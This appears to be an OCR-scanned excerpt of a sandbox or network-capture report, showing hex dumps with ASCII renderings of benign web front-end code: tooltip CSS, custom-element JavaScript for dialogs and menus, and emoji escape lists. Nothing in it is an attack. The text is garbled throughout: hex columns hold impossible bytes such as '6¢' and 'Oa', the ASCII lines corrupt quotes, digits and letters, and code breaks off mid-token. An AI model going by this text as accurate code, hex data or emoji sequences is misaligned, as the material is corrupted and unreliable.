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Data

Data Raw: 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 36 70 78 20 73 6f 6¢ 69 64 20 74 72 61 6e 73 70 61 72 65 6e
74 3b 0a 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Oa 20 20
20 2020 20 40 6b 65 79 66 72 61 6d 65 73 20 74 6f 6f 6¢ 74 69 70 2d 61 70 70 65 61 72 20 7b Oa 20 20 20 20 20 20 20
20 66 72 6f 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 0a 20 20 20 20 20 20 20 20 7d Oa 2
020 20 20 20 20 20 20 74 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 0Oa 20 20 20 20 20 20
20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 3a 68 6f 73 74 3a 61 66 74 65 72 7b Oa 20
20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75

Data Ascii: border: 6px solid transparent; opacity: 0} @keyframes tooltip-appear { from {

opacity: 0 } to { opacity: 1 } o} :host:after{ position: absolu

Data Raw: 20 20 3a 68 6f 73 74 28 2e 74 6f 6f 6¢ 74 69 70 2d 73 65 29 3a 62 65 66 6f 72 65 2c 0a 20 20 20 20 20 20 3a
68 6f 73 74 28 2e 74 6f 6f 6¢ 74 69 70 2d 6e 65 29 3a 62 65 66 6f 72 65 20 7b 0a 20 20 20 20 20 20 20 20 72 69 67 68 74
3a 20 61 75 74 6f 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 3a 68 6f 73 74 28 2e 74 6f 6f 6¢ 74
69 70 2d 73 77 29 3a 62 65 66 6f 72 65 2c 0a 20 20 20 20 20 20 3a 68 6f 73 74 28 2e 74 6f 6f 6¢ 74 69 70 2d 6e 77 29 3a
62 65 66 6f 72 65 20 7b 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67
69 6e 2d 72 69 67 68 74 3a 20 36 70 78 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 3a 68 6f 73
74 28 2e 74 6f 6f 6¢c 74 69 70 2d 77 29 3a 62 65 66 6f 72 65 20

Data Ascii: :host(.tooltip-se):before, :host(.tooltip-ne):before { right: auto  } :host(.tooltip-sw):before,
:host(.tooltip-nw):before { right: O; margin-right: 6px  } :host(.tooltip-w):before

Data Raw: 3a 73 7d 29 2c 74 68 69 73 2e 63 6f 6e 74 72 6f 6¢ 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22
6d 6f 75 73 65 65 6e 74 65 72 22 2¢ 74 68 69 73 2c 7b 73 69 67 6e 61 6¢ 3a 73 7d 29 2c 74 68 69 73 2e 63 6f 6e 74 72 6f
6¢C 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 6¢ 65 61 76 65 22 2¢ 74 68 69 73 2¢c 7b 73
69 67 6e 61 6¢ 3a 73 7d 29 2c 74 68 69 73 2e 63 6f 6e 74 72 6f 6¢ 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72
28 22 66 6f 63 75 73 22 2¢ 74 68 69 73 2c 7b 73 69 67 6e 61 6¢ 3a 73 7d 29 2c 74 68 69 73 2e 63 6f 6e 74 72 6f 6¢ 2e 61
64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 6¢ 75 72 22 2¢ 74 68 69 73 2c 7b 73 69 67 6e 61 6¢ 3a 73 7d 29
2c 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 61 64

Data Ascii: :s}),this.control.addEventListener("mouseenter”,this,{signal:s}),this.control.addEventListener("mouseleave",
this,{signal:s}),this.control.addEventListener("focus",this {signal:s}),this.control.addEventListener("blur",this,{signal:s}),this
.ownerDocument.ad

Data Raw: 74 6f 70 22 2c 22 66 22 29 29 3a 73 3d 3d 3d 22 65 22 3f 28 4f 28 74 68 69 73 2c 72 2c 22 63 65 6e 74 65 72
222c 22 66 22 29 2c 4f 28 74 68 69 73 2c 66 2c 22 6f 75 74 73 69 64 65 2d 72 69 67 68 74 22 2c 22 66 22 29 29 3a 73
3d 3d 3d 22 73 65 22 3f 28 4f 28 74 68 69 73 2c 72 2c 22 73 74 61 72 74 22 2¢ 22 66 22 29 2c 4f 28 74 68 69 73 2c 66 2¢
22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22 2¢c 22 66 22 29 29 3a 73 3d 3d 3d 22 73 22 3f 28 4f 28 74 68 69 73 2c 72
2c 22 63 65 6e 74 65 72 22 2c 22 66 22 29 2c 4f 28 74 68 69 73 2c 66 2c 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22
2c 22 66 22 29 29 3a 73 3d 3d 3d 22 73 77 22 3f 28 4f 28 74 68 69 73 2c 72 2c 22 65 6e 64 22 2c 22 66 22 29 2¢ 4f 28 74
68 69 73 2¢ 66 2c 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f

Data Ascii: top”,"f")):s==="e"?(O(this,r,"center","f"),O(this,f, "outside-right","f")):s
tside-bottom","f")):s==="s"?(O(this,r,"center","f"),O(this,f,"outside-bottom","f")):s=:
e-botto

e"?(O(this,r,"start","f"),O(this,f,"ou
'sw"?(O(this,r,"end","f"),O(this,f, "outsid

Data Raw: 73 69 64 65 2d 74 6f 70 22 3f 79 3d 3d 3d 22 63 65 6e 74 65 72 22 3f 6d 3d 22 6e 22 3a 79 3d 3d 3d 22 73 74
6172 74 22 3f 6d 3d 22 6e 65 22 3a 6d 3d 22 6e 77 22 3a 79 3d 3d 3d 22 63 65 6e 74 65 72 22 3f 6d 3d 22 73 22 3a 79
3d 3d 3d 22 73 74 61 72 74 22 3f 6d 3d 22 73 65 22 3a 6d 3d 22 73 77 22 2c 74 68 69 73 2e 63 6¢ 61 73 73 4c 69 73 74
2e 61 64 64 28 60 74 6f 6f 6¢ 74 69 70 2d 24 7b 6d 7d 60 29 29 7d 2c 22 5f 54 6f 6f 6¢ 74 69 70 45 6¢ 65 6d 65 6e 74 5f
75 70 64 61 74 65 50 6f 73 69 74 69 6f 6e 22 29 2¢c 7a 2e 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 3d 5b 2
2646174612d 7479706522 2c 22 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 22 2c 22 69 64 22 2c 22 68 69 64 64 65
6e 22 5d 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65

Data Ascii: side-top"?y==="center"?m="n".y==="start"?m="ne":m="nw":y==="center"?m="s":y==="start"?m="se":m="sw

" this.classList.add(tooltip-${m}"))},"_TooltipElement_updatePosition"),z.observedAttributes=["data-type","data-directi
on","id","hidden"],window.customEleme

Data Raw: 61 74 69 63 20 67 65 74 20 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 7328 29 7b 72 65 74 75 72
6e 5b 22 72 65 71 75 69 72 65 64 22 5d 7d 67 65 74 20 69 6e 70 75 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 71
7565 72 79 53 65 6¢ 65 63 74 6f 72 28 22 69 6e 70 75 74 22 29 7d 67 65 74 20 73 72 63 28 29 7b 63 6f 6 7374 20 77 3
d 74 6869 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3b 69 66 28 21 77 29 72 65 74 75 72 6e 22
22 3b 63 6f 6e 73 74 20 5f 3d 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65
6e 74 28 22 61 22 29 3b 72 65 74 75 72 6e 20 5f 2e 68 72 65 66 3d 77 2c 5f 2e 68 72 65 66 7d 73 65 74 20 73 72 63 28
77297b 74686973 2e 73 657441747472696275746528227372

Data Ascii: atic get observedAttributes(){return[“required“]}get input(){return this.querySelector(“input“)}get src(){const
w=this.getAttribute("src");if('w)return"";const _=this.ownerDocument.createElement("a");return _.href=w,_.href}set src(w)
{this.setAttribute("sr

Data Raw: 29 29 2c 48 7d 7d 69 28 4e 2c 22 66 65 74 63 68 57 69 74 68 4e 65 74 77 6f 72 6b 45 76 65 6e 74 73 22 29 3b
6173 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 6a 28 57 29 7b 63 6f 6e 73 74 20 77 3d 57 2e 69 6e 70 75 74 3b 69 66 28
2177297265 74 75 72 6e 3b 63 6f 6e 73 74 20 5f 3d 57 2e 73 72 63 2¢ 48 3d 57 2e 63 73 72 66 2c 63 3d 55 2e 67 65
742857 29 3b 69 66 28 21 5f 7c 7¢ 21 48 7c 7¢ 21 63 29 7b 57 2e 7265 71 75 69 72 65 64 26 26 77 2e 7365 7443757
374 6f 6d 56 61 6¢ 69 64 69 74 79 28 22 22 29 3b 72 65 74 75 72 6e 7d 69 66 28 21 77 2e 76 61 6¢ 75 65 2e 74 72 69 6d
282929 7b 57 2e 72 65 71 75 69 72 65 64 26 26 77 2e 73 65 74 43 75 73 74 6f 6d 56 61 6¢ 69 64 69 74 79 28 22 22 29
3b 72 65 74 75 72 6e 7d 63 6f 6e 73 74 20 61 3d 6e 65 77 20 46 6f 72

Data Ascii: )),H}}i(N,"fetchWithNetworkEvents");async function j(W){const w=W.input;if('w)return;const _=W.src,H=W.csrf,
c=U.get(W);if("_||'H||'c){W.required&&w.setCustomValidity("*);return}if(‘w.value.trim()){W.required&&w.setCustomValidity
("");return}const a=new For

Data Raw: 75 6¢ 6¢ 7d 2c 31 34 38 34 30 3a 28 4a 2c 4b 2¢ 55 29 3d 3e 7b 55 2e 64 28 4b 2c 7b 5a 3a 28 29 3d 3e 50 7d
29 3b 63 6f 6e 73 74 20 54 3d 22 64 61 74 61 2d 63 6¢ 6f 73 65 2d 64 69 61 6¢ 6f 67 22 2C 78 3d 60 5b 24 7b 54 7d 5d 60
3b 66 75 6e 63 74 69 6f 6e 20 24 28 68 29 7b 6¢ 65 74 20 6f 3d 41 72 72 61 79 2e 66 72 6f 6d 28 68 2e 71 75 65 72 79
53 65 6¢ 65 63 74 6f 72 41 6¢ 6¢ 28 22 5b 61 75 74 6f 66 6f 63 75 73 5d 22 29 29 2e 66 69 6¢ 74 65 72 28 6a 29 5b 30 5d
3b 6f 7c 7c 28 6f 3d 68 2¢ 68 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22
29 29 2c 6f 2e 66 6f 63 75 73 28 29 7d 69 28 24 2c 22 61 75 74 6f 66 6f 63 75 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 4e
28 68 29 7b 63 6f 6e 73 74 20 6f 3d 68 2e 63 75 72 72 65 6e 74

Data Ascii: ull},14840:(J,K,U)=>{U.d(K {Z:()=>P});const T="data-close-dialog",x="[${T}]";function $(h){let o=Array.from(
h.querySelectorAll(“[autofocus]")).filter(j)[0];0]|(o=h,h.setAttribute(“tabindex","-1")),0.focus()}i($,"autofocus");function N(h){
const o=h.current
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Data

Data Raw: 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2c 68 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 29
7d 69 28 57 2c 22 6f 6e 53 75 6d 6d 61 72 79 43 6¢ 69 63 6b 22 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 68 29 7h 63 6f 6
7374 20 6f 3d 68 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 21 28 6f 20 69 6e 73 74 61 6e 63 65 6f 66 20
45 6¢ 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 74 3d 6f 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 28
22 64 65 74 61 69 6¢ 73 2d 64 69 61 6¢ 6f 67 22 29 3b 69 66 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 29 69 66 28 6f
2e 6861 7341 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 29 7b 63 6f 6e 73 74 20 65 3d 22 67 65 74 52 6f 6f 74 4e
6f 64 65 22 69 6e 20 74 3f 74 2e 67 65 74 52 6f 6f 74 4e 6f

Data Ascii: reventDefault(),h.stopPropagation())}i(W,"onSummaryClick");function w(h){const o=h.currentTarget;if(!(o inst
anceof Element))return;const t=o0.querySelector("details-dialog");if(t instanceof S)if(o.hasAttribute("open")){const e="g
etRootNode"in t?t.getRootNo

Data Raw: 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 6f 76 65 72 22 2¢ 63 29 7d 69 28 75 2¢c
2272 65 6d 6f 76 65 49 6e 63 6¢ 75 64 65 46 72 61 67 6d 65 6€ 74 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 29 3b
63 6f 6e 73 74 20 76 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 63 6¢ 61 73 73 20 53 20 65 78 74 65 6e 64 73 20 48 54 4d
4c 45 6¢ 65 6d 65 6e 74 7b 73 74 61 74 69 63 20 67 65 74 20 43 4c 4f 53 45 5f 41 54 54 52 28 29 7b 72 65 74 75 72 6e 2
054 7d 7374 61 74 69 63 20 67 65 74 20 43 4c 4f 53 45 5f 53 45 4c 45 43 54 4f 52 28 29 7b 72 65 74 75 72 6e 20 78 7d
63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 3b 76 2e 73 65 74 28 74 68 69 73 2c 7b 64 65 74 61 69
6c 73 3a 6e 75 6¢ 6¢ 2¢ 61 63 74 69 76 65 45 6¢ 65 6d 65 6e 74 3a 6e

Data Ascii: oveEventListener("mouseover”,c)}i(u,"removelncludeFragmentEventListeners”);const v=new WeakMap;class
S extends HTMLElement{static get CLOSE_ATTR(){return T}static get CLOSE_SELECTOR(){return x}constructor(){s
uper();v.set(this,{details:null,activeElement:n

Data Raw: 6f 29 7b 63 6f 6e 73 74 20 74 3d 76 2e 67 65 74 28 74 68 69 73 29 3b 69 66 28 21 74 29 72 65 74 75 72 6e 3b
63 6f 6e 73 74 7b 64 65 74 61 69 6¢ 73 3a 65 7d 3d 74 3b 21 65 7c 7c 48 28 65 2c 6f 29 7d 73 74 61 74 69 63 20 67 65
74 20 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 28 29 7Th 72 65 74 75 72 6e 5b 22 7372 63 22 2¢c 22 70 72
65 6¢ 6 61 64 22 5d 7d 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6¢ 6C 62 61 63 6b 28 29 7b 63 6f 62 73 7
4 20 6f 3d 76 2e 67 65 74 28 74 68 69 73 29 3b 69 66 28 21 6f 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 7b 64 65 74 61 69
6c 73 3a 74 7d 3d 6f 3b 21 74 7c 7c 61 28 74 2c 74 68 69 73 2e 73 72 63 2¢ 74 68 69 73 2e 70 72 65 6¢ 6f 61 64 29 7d
7d 69 28 53 2c 22 44 65 74 61 69 6¢ 73 44 69 61 6¢ 6f 67 45 6C 65 6d

Data Ascii: 0){const t=v.get(this);if(!t)return;const{details:e}=t;!e||H(e,0)}static get observedAttributes(){return["src","preloa
d"JyattributeChangedCallback()}{const o=v.get(this);if(!o)return;const{details:t}=o;!t||a(t,this.src,this.preload)}}i(S,"DetailsDia
logElem

Data Raw: 6¢ 65 6d 65 6e 74 22 29 3b 63 6f 6e 73 74 20 4b 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2¢ 55 3d 7b 75 6e 73
756273637269 6265 28 29 7b 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 54 28 6f 2c 74 2¢ 65 2c 64 3d 21 31 29 7b 72 65
7475 72 6e 20 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2¢ 65 2¢ 64 29 2¢ 7h 75 6e 73 75 62 73 63 7
269 62 65 3a 28 29 3d 3e 7b 6f 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2¢ 65 2c 64 29 7d 7d
7d 69 28 54 2c 22 66 72 6f 6d 45 76 65 6e 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 78 28 6f 2¢ 74 29 7b 63 6f 6e 73 74 20
65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3b 69 66 28 21 65 29 72 65 74 75 72 6e 3b 63 6f
6e 73 74 20 64 3d 4b 2e 67 65 74 28 74 29 3b 69 66 28 21 64 7c 7c 64

Data Ascii: lement");const K=new WeakMap,U={unsubscribe(){}};function T(o,t,e,d=!1){return o.addEventListener(t,e,d),
{unsubscribe:()=>{o.removeEventListener(t,e,d)}}}i(T,"fromEvent");function x(o,t){const e=t.getAttribute("src");if('e)retur
n;const d=K.get(t);if(!d||d

Data Raw: 2c 74 74 3d 74 3f 65 5b 30 5d 3a 65 5b 65 2e 6¢ 65 6e 67 74 68 2d 31 5d 3b 72 65 74 75 72 6e 20 71 7c 7c 74
747d 69 28 46 2c 22 73 69 62 6¢ 69 6e 67 22 29 3b 63 6f 6e 73 74 20 56 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72
41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 4d 61 63 69 6e 74 6f 73 68 2f 29 3b 66 75 6e 63 74 69 6f 6e 20 57 28 6f 2c 74 29
7b 63 6f 6e 73 74 20 65 3d 74 2e 74 61 72 67 65 74 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65
6e 74 26 26 65 2e 63 6¢ 6f 73 65 73 74 28 22 64 65 74 61 69 6¢ 73 22 29 3d 3d 3d 6f 29 7b 69 66 28 74 2e 74 79 70 65 3
d 3d 3d 22 63 6¢ 69 63 6b 22 29 7b 63 6f 6e 73 74 20 64 3d 65 2e 63 6¢ 6f 73 65 73 74 28 27 5b 72 6f 6¢ 65 3d 22 6d 65
6e 75 69 74 65 6d 22 5d 2c 20 5b 72 6f 6¢ 65 3d 22 6d 65 6e 75 69

Data Ascii: ,tt=t?e[0]:e[e.length-1];return q|tt}i(F,"sibling");const V=navigator.userAgent.match(/Macintosh/);function W(o,t)
{const e=t.target;if(e instanceof Element&&e.closest("details")===0){if(t.type==="click"){const d=e.closest('[role="menuite
m"], [role="menui

Data Raw: 6d 70 6f 73 69 6e 67 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 6b 3d 65 2e 74 61 72 67 65 74 20 69 6e 73 74
61 6e 63 65 6 66 20 45 6¢ 65 6d 65 6€ 74 26 26 65 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 53 55 4d
4d 415259 22 3b 73 77 69 74 63 68 28 65 2e 6b 65 79 29 7b 63 61 73 65 22 45 73 63 61 70 65 22 3a 6f 2e 68 61 73 41
747472 69 62 75 74 65 28 22 6f 70 65 6 22 29 26 26 28 61 28 6f 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 7
42829 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 6522 41 72 72 6f 7
7 44 6f 77 6e 22 3a 7b 6b 26 26 21 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 26 26 6f 2e 73 65
74 41747472 69 62 75 74 65 28 22 6f 70 65 6e 22 2¢ 22 22 29 3b

Data Ascii: mposing)return;const k=e.target instanceof Element&&e.target.tagName==="SUMMARY";switch(e.key){cas
e"Escape”:0.hasAttribute("open")&&(a(o),e.preventDefault(),e.stopPropagation());break;case"ArrowDown":{k&&!0.h

asAttribute("open")&&o.setAttribute("open”,"™);

Data Raw: 7c 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3a 6e 75 6¢ 6¢ 7d 69 28 76 2c 22 6¢ 61 62 65 6¢ 54 65 78 74 22 29
3b 66 75 6e 63 74 69 6f 6 20 53 28 6f 29 7b 69 66 28 21 6f 29 72 65 74 75 72 6e 20 6e 75 6¢ 6¢ 3b 63 6f 6e 73 74 20 74
3d 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6d 65 6e 75 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 65
6e 74 73 22 29 3f 6f 3a 6f 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 28 22 5b 64 61 74 61 2d 6d 65 6€ 75 2d 62 75 74 74
6f 6e 2d 63 6f 6e 74 65 6e 74 73 5d 22 29 3b 72 65 74 75 72 6e 20 74 3f 74 2e 69 6e 6e 65 72 48 54 4d 4c 3a 6e 75 6¢ 6C
7d 69 28 53 2¢ 22 6¢ 61 62 65 6¢ 48 54 4d 4c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 50 28 6f 2¢ 74 29 7b 63 6f 6e 73 74 20
65 3d 4b 2e 67 65 74 28 6f 29 3b 21 65 7c 7c 28 65 2e 69 73

Data Ascii: |t.textContent:null}i(v,"labelText");function S(o){if(!o)return null;const t=0.hasAttribute("data-menu-button-
contents")?0:0.querySelector("[data-menu-button-contents]");return t?t.innerHTML:null}i(S,"labelHTML");function P(o,t)
{const e=K.get(0);!e||(e.is

Data Raw: 75 7b 31 46 34 37 31 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 32 5¢ 75 46 45 30 46 22 2¢ 22 5¢ 75 7b 31 46 34
36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 39 42 30 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b
3146 39 42 31 7d 22 2c 22 5¢ 75 7b 31 46 34 36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 39 42 33 7d 22 2¢ 22 5¢ 75 7b
31 46 34 36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 39 42 32 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 39 7d 22 2¢ 22 5¢ 75 7b
31 46 34 37 31 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 30 5¢ 75 46 45 30 46 22 2¢ 22 5¢ 75 7b 31 46 34 36 39 7d 5¢ 75 32
30 30 44 5¢ 75 7b 31 46 39 42 30 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 39 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 39 42 31 7d
22 2¢ 22 5¢ 75 7b 31 46 34 36 39 7d 5c 75 32 30 30 44 5¢ 75 7b 31 46 39 42

Data Ascii: u{LF471}\u200D\u2642\uFEOF","\u{1F468)\u200D\u{1F9BO}","\u{1F468)\u200D\u{1FIBL}","\u{1F468}\u200D
\U{LF9B3}", "\u{1F468)\u200D\u{1FIB2}" "\u{1F469}" "\u{1F471)\u200D\u2640\uFEOF", \u{1F469\u200D\u{1FIBO}", "\u
{1F469)\u200D\U{1F9B1}", \u{1F469}\u200D\u{1F9B
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Data

Data Raw: 22 5¢ 75 7b 31 46 34 36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 35 32 37 7d 22 2c 22 5¢ 75 7b 31 46 34 36
39 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 35 32 37 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 38 7d 5c 75 32 30 30 44 5¢ 75 7b 31
46 33 45 44 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 39 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 33 45 44 7d 22 2¢ 22 5¢ 75 7b 31
46 34 36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 34 42 43 7d 22 2¢ 22 5¢ 75 7h 31 46 34 36 39 7d 5c 75 32 30 30 44 5¢
75 7h 31 46 34 42 43 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 38 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 35 32 43 7d 22 2¢ 22 5¢
75 7b 31 46 34 36 39 7d 5¢ 75 32 30 30 44 5¢ 75 7b 31 46 35 32 43 7d 22 2c 22 5¢ 75 7b 31 46 34 36 38 7d 5¢ 75 32 30
30 44 5¢c 75 7b 31 46 34 42 42 7d 22 2¢ 22 5¢ 75 7b 31 46 34 36 39 7d 5¢ 75

Data Ascii: "\u{1F468}\u200D\U{1F527}", \u{1F469)\u200D\u{1F527}", "\u{1F468)\u200D\u{1F3ED}","\u{1F469)\u200D\
u{1F3ED}","\U{1F468)\u200D\u{1FABC}","\u{1F469)\u200D\u{1F4BC}", "\u{1F468)\u200D\U{1F52C}" "\u{1F469}u200D\{
1F52C}" "\u{1F468)\u200D\u{1F4BB}","\u{1F469}\u

Data Raw: 5¢ 75 46 45 30 46 22 2c 22 5¢ 75 7b 31 46 39 44 42 7d 5¢ 75 32 30 30 44 5c 75 32 36 34 30 5¢ 75 46 45 30

46 22 2¢ 22 5¢ 75 7b 31 46 39 44 43 7d 22 2¢ 22 5¢ 75 7b 31 46 39 44 43 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 32 5¢ 75
46 45 30 46 22 2¢ 22 5¢ 75 7b 31 46 39 44 43 7d 5c 75 32 30 30 44 5¢ 75 32 36 34 30 5¢ 75 46 453046 22 2c 22 5¢ 757
b 31 46 39 44 44 7d 22 2¢c 22 5¢ 75 7b 31 46 39 44 44 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 32 5c 75 46 45 30 46 22 2c
22 5c 75 7b 31 46 39 44 44 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 30 5c 75 46 45 30 46 22 2c 22 5¢ 75 7b 31 46 34 38 36
7d 22 2c 22 5¢ 75 7b 31 46 34 38 36 7d 5¢ 75 32 30 30 44 5c 75 32 36 34 32 5¢ 75 46 45 30 46 22 2c 22 5¢ 75 7b 31 46
343836 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 30 5¢ 75 46 45 30 46 22 2c 22

Data Ascii: \uFEOF","\u{1F9DB}\u200D\u2640\uFEOF","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFEOF","\u{1F9DC}u200D\u
2640\uFEOF","\u{1F9DD}","\u{1F9DDNU200D\u2642\uFEOF","\u{1F9DD}\u200D\u2640\uFEOF","\u{1F486}","\u{1F486\u20
0D\u2642\uFEOF","\u{1F486}\u200D\u2640\uFEOF","

Data Raw: 46 33 43 42 7d 5¢ 75 46 45 30 46 22 2c 22 5¢ 75 7b 31 46 33 43 42 7d 5¢ 75 46 45 30 46 5¢ 75 32 30 30 44 5c
753236 34 32 5¢ 75 46 45 30 46 22 2¢ 22 5¢ 75 7b 31 46 33 43 42 7d 5¢ 75 46 45 30 46 5¢ 75 32 30 30 44 5c 75 32 36
34 30 5c 75 46 45 30 46 22 2¢ 22 5¢ 75 7b 31 46 36 42 34 7d 22 2c 22 5¢ 75 7b 31 46 36 42 34 7d 5¢ 75 32 30 30 44 5¢
7532 36 34 32 5c 75 46 45 30 46 22 2c 22 5¢ 75 7b 31 46 36 42 34 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 30 5¢c 75 46 45
3046 22 2c 22 5¢ 75 7b 31 46 36 42 35 7d 22 2¢ 22 5¢ 75 7b 31 46 36 42 35 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 32 5¢
75 46 45 30 46 22 2c 22 5¢ 75 7b 31 46 36 42 35 7d 5¢ 75 32 30 30 44 5¢ 75 32 36 34 30 5¢c 75 46 45 30 46 22 2c 22 5¢
75 7b 31 46 39 33 38 7d 22 2c 22 5¢ 75 7b 31 46 39 33 38 7d 5c 75 32 30

Data Ascii: F3CBNUFEOF","\u{1F3CBN\UFEOF\u200D\u2642\uFEOF","\u{1F3CB)\uFEOF\u200D\u2640\uFEOF","\u
{1F6B4}","\u{1F6B4}\u200D\u2642\uFEOF","\u{1F6B4})\u200D\u2640\uFEOF","\u{1F6B5}","\u{1F6B5}\u200D\u2
642\uFEOF","\u{1F6B5}\u200D\u2640\uFEOF","\u{1F938}","\u{1F938}\u20

Data Raw: 28 63 29 7b 73 77 69 74 63 68 28 63 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 31 32 37 39 39 35 3b
63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 31 32 37 39 39 36 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 31 32 37 39
39 37 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 31 32 37 39 39 38 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 31
3237393939 3b 646566 61 75 6¢ 74 3a 72 65 74 75 72 6e 20 6e 75 6¢ 6¢ 7d 7d 69 28 56 2c 22 74 6f 6e 65 4d 6f 64
69 66 69 65 72 22 29 3b 63 6¢ 61 73 73 20 57 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45 6¢ 65 6d 65 6e 74 7b 67 65 74
2069 6d 61 67 65 28 29 7h 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 72 73 74 45 6¢ 65 6d 65 6e 74 43 68 69 6C 64 20
69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6d 61 67 65 45 6¢ 65 6d 65

